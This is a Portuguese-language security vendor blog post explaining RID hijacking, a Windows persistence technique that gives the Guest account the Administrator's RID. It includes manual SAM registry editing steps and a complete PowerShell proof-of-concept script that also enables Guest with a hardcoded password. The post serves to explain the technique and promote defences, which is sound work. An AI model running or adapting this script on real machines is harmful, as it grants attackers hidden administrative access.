Hijacking de RID: Como Convidados se Tornam Administradores
May 20, 2023
O sequestro de RID é uma técnica de persistência usada por adversários que comprometeram uma máquina Windows. Em resumo, os atacantes usam o RID (identificador relativo) da conta de Administrador local para conceder privilégios de admin ao conta de Convidado (ou outra conta local). Dessa forma, eles podem realizar ações usando a conta de Convidado, que normalmente não está sob o mesmo nível de vigilância que a conta de Administrador, para expandir seu ataque enquanto permanecem não detectados.
Conteúdo relacionado selecionado:
Como o Ataque Funciona
Para realizar o sequestro de RID, um adversário deve ter comprometido uma máquina e obtido privilégios administrativos ou de SYSTEM, pois são necessários para alterar o valor do RID da conta de Convidado para ser o RID da conta de Administrador. Esses valores são os seguintes:
- Administrador: 0x1F4 em hexadecimal (500 em decimal)
- Convidado: 0x1F5 em hexadecimal (501 em decimal)
Passo 1. No Editor de Registro, procure sob a chave SAM pela subchave Users. Então clique em 000001F5 para visualizar os detalhes da conta de Convidado:
Passo 2. O valor F armazena o RID da conta. Para editar esse valor, clique com o botão direito nele e selecione Modificar no menu. A janela Editar Valor Binário será aberta:
Passo 3. No deslocamento 30 está o valor 0x1F5, que é o RID da conta Convidado. Simplesmente altere esse valor para 0x1F4, que é o RID da conta Administrador.
Executando o comando whoami sob a conta de Convidado confirma que a conta de Convidado agora possui o RID de Administrador, que é a última parte do SID exibido (500 em decimal):
Script de Prova de Conceito
Aqui está um script que você pode usar para executar um teste de conceito nesta vulnerabilidade (também disponível no GitHub):
<#
Date 10/24/2018
Author: Kevin Joyce
Description: RID Hijacking - runs PowerShell as SYSTEM and modifies a registry value associated with the Guest account. Sets the RID to 500 (Administrator), enables and sets the password for the Guest account. The objective of this script is to be a proof of concept for a RID Hijacking persistence technique. This technique allows an attacker to use the Guest account with administrative privileges.
USE WITH CAUTION. STEALTHBITS TECHNOLOGIES, INC. IS NOT RESPONSIBLE FOR ANY DAMAGES CAUSED BY ATTEMPTING TO USE THIS SCRIPT. IT IS POSSIBLE TO CORRUPT THE GUEST ACCOUNT IF SOMETHING GOES WRONG. IT IS SUGGESTED THAT THIS BE DONE ON A VIRTUAL MACHINE AFTER A SNAPSHOT HAS BEEN TAKEN.
#>
#set path of target key
$key = 'HKLM:\SAM\SAM\Domains\Account\Users\000001F5'
#get content of target value
$binaryValue = (Get-ItemProperty -Path $key -Name "F")."F"
#exports contents of current registry values, allows to roll back if corruption occurs
reg export 'HKLM\SAM\SAM\Domains\Account\Users\000001F5' .\export.reg
Write-Host 'Registry key exported.'
#change guest RID at offset 0x30 to 244 (500) - default 245 - to set the RID back to 501 change $newValue below to 245
$newValue = 244
if ($binaryValue[48] -notin (244,245)){
throw 'Unknown value set at offset 0x30. Expected values: 244 or 245. Current value: ' + $binaryValue[48] +'.'
stop
} else {
$binaryvalue[48] = $newValue
Write-Host 'Value at 0x30 set to ' $binaryValue[48]
}
#enable guest account at offset 0x38 to 20 - default 21 - to disable guest account change $newValue below to 21
$newvalue = 20
if ($binaryValue[56] -notin (20,21)){
throw 'Unknown value set at offset 0x38. Expected values: 20 or 21. Current value: ' + $binaryValue[56]+'.'
stop
} else {
$binaryvalue[56] = $newvalue
Write-Host 'Value at 0x38 set to ' $binaryValue[56]
}
#iterate through every position from original value converting to hexadecimal and storing in new variable
$hexValue = ''
for ($i =0; $i -lt $binaryValue.length; $i++){
$hexValue += "{0:x2}" -f $binaryValue[$i]
}
Write-Host 'You are about to change the RID and enable the Guest account. Press enter to continue.'
pause
#set value of F to contents of variable
reg add "HKLM\SAM\SAM\Domains\Account\Users\000001F5" /v F /t REG_BINARY /d $hexValue /f
Write-Host 'Guest account enabled and RID set to 500.'
#set Guest password
$password = '!Password123!'
net user guest $password
Write-Host 'Guest account password set to' $password
Write-Host ""
Write-Host "Open a command prompt as Guest to see the new RID and privileges associated with the Guest account. Pressing enter will continue the script and roll back all changes besides the password of the Guest account."
Write-Host ""
Write-Host "To run a command promp as Guest, shift+right click cmd.exe and select Run as different user. When prompted enter .\Guest for the username and $password as the password. This will spawn a command prompt window. Once this pops up, enter 'whoami /all | more' to see information about the Guest account. Once complete, you can come back to this screen and press enter to continue."
pause
#imports exported contents of previous registry keys, rolls back all changes
reg import .\export.reg
Write-Host 'Registry key rolled back to original.'
Write-Host 'Proof of concept complete.'
pause
Como a Netwrix pode ajudar
A Netwrix oferece duas soluções que podem ajudá-lo a se defender contra o sequestro de RID:
- A solução Netwrix Privileged Access Management permite que você identifique atividades suspeitas relacionadas a contas privilegiadas — incluindo tentativas de modificar contas de usuários como acontece no sequestro de RID. Ela também lhe capacita a impor políticas de senhas fortes para prevenir o acesso não autorizado a contas privilegiadas desde o início, e limitar o uso de contas privilegiadas apenas para aquelas tarefas que requerem privilégios elevados.
- Netwrix Change Tracker audita alterações na sua configuração de segurança — incluindo alterações nos valores RID de contas Active Directory.
Compartilhar em
Saiba Mais
Sobre o autor
Kevin Joyce
Diretor de Product Management
Diretor de Product Management na Netwrix. Kevin tem uma paixão por segurança cibernética, especificamente em compreender as táticas e técnicas que os atacantes usam para explorar os ambientes das organizações. Com oito anos de experiência em product management, focando em Active Directory e segurança do Windows, ele levou essa paixão para ajudar a construir soluções para organizações protegerem suas identidades, infraestrutura e dados.